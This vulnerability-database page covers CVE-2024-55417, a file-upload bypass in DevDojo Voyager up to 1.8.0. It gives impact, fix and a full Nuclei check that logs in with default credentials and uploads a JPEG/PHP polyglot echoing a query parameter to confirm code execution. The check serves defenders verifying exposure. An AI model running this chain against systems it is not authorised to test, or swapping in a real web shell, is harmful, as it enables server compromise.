HexBrain

Browse / CVEs / CVE-2024-55417

CVE-2024-55417

DevDojo Voyager <= 1.8.0 - Arbitrary File Write vulnerability

highseverity
15.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server.

Impact

Authenticated attackers can bypass file type restrictions to upload PHP web shells, allowing arbitrary code execution on the server with web server privileges.

Fix

Update DevDojo Voyager to version 1.8.1 or later to address the file upload validation bypass vulnerability.

How to confirm it

Send: GET /admin/login
Send: POST /admin/login
Positive when: contains(body,'/admin</title>') and status_code == 302
Send: GET /admin/media
Send: POST /admin/media/upload
Positive when: contains "Encoding format (php) is not supported."
Send: GET /storage/{{randstr}}.php?q={{base64('{{randstr}}')}}
Positive when: contains "{{randstr}}"

Run it with nuclei: nuclei -id CVE-2024-55417 -u <target>

The full check
id: CVE-2024-55417

info:
  name: DevDojo Voyager <= 1.8.0 - Arbitrary File Write vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server.
  impact: |
    Authenticated attackers can bypass file type restrictions to upload PHP web shells, allowing arbitrary code execution on the server with web server privileges.
  remediation: |
    Update DevDojo Voyager to version 1.8.1 or later to address the file upload validation bypass vulnerability.
  reference:
    - https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
    - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerMediaController.php#L238
  classification:
    cve-id: CVE-2024-55417
    epss-score: 0.15884
    epss-percentile: 0.96914
  metadata:
    verified: true
    max-request: 5
    shodan-query: title:"Voyager"
  tags: cve,cve2024,intrusive,devdojo,voyager,file-upload,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  username: "[email protected]"
  password: "password"

http:
  - raw:
      - |
        GET /admin/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: csrf
        group: 1
        regex:
          - 'name="_token" value="([a-zA-Z0-9]+)"'

  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{csrf}}&email={{username}}&password={{password}}&

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'/admin</title>')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/media HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: csrf2
        group: 1
        regex:
          - '"csrf-token" content="([a-zA-Z0-9]+)"'

  - raw:
      - |
        POST /admin/media/upload HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqv6qtCsokj1vi0NA

        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="_token"

        {{csrf2}}
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="upload_path"

        /
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="filename"

        null
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="details"

        {"thumbnails":[],"watermark":{}}
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: text/php

        {{base64_decode('/9j//gApPD9waHAgZWNobyBiYXNlNjRfZGVjb2RlKCRfR0VUWyJxIl0pOz8+/9sAQwADAgICAgIDAgICAwMDAwQGBAQEBAQIBgYFBgkICgoJCAkJCgwPDAoLDgsJCQ0RDQ4PEBAREAoMEhMSEBMPEBAQ/8kACwgAAQABAQERAP/MAAYAEBAF/9oACAEBAAA/ANLPIP/Z')}}
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA--

    matchers:
      - type: word
        part: body
        words:
          - 'Encoding format (php) is not supported.'
        internal: true

  - raw:
      - |
        GET /storage/{{randstr}}.php?q={{base64('{{randstr}}')}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{randstr}}"

References

Use this check only on systems you are authorised to test. Where the data comes from